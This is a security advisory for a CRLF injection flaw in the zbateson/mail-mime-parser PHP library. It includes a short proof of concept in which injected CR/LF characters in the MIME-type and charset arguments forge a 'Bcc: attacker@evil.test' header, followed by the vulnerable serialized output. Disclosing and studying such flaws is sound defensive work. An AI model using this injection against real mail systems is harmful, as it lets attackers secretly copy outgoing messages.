CRLF Injection Affecting zbateson/mail-mime-parser package, versions >=3.0.0, <4.0.6

Affected versions of this package are vulnerable to CRLF Injection via message-building helpers MultipartHelper::createContentPartForMimeType(), MultipartHelper::setContentPartForMimeType(), MultipartHelper::createAndAddPartForAttachment(), and PrivacyHelper::setMessageAsMultipartSigned(), which interpolate caller-supplied strings directly into raw header values without stripping CR or LF characters. An attacker who controls any of the $mimeType, $encoding, $charset, $micalg, or $protocol arguments passed to the corresponding IMessage builder methods can terminate the generated Content-Type or Content-Transfer-Encoding header early and inject arbitrary additional header lines - for example a forged Bcc: - into outgoing messages. Parsing is not affected, as header values read from a parsed message never pass through these builder code paths.

use ZBateson\MailMimeParser\Message;

$base = "From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n";

$m = Message::from($base, false);
$m->addAttachmentPart('payload', "application/octet-stream\r\nBcc: attacker@evil.test", 'safe.txt');
echo $m;   // attachment part contains a standalone "Bcc: attacker@evil.test" line

$m = Message::from($base, false);
$m->setTextPart('hello', "utf-8\"\r\nBcc: attacker@evil.test");
echo $m;   // same, via the charset parameter

Before the fix the attachment part serializes as:

Content-Transfer-Encoding: base64
Content-Type: application/octet-stream
Bcc: attacker@evil.test;
    name="safe.txt"
Content-Disposition: attachment;
    filename="safe.txt"

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• Vulnerable Code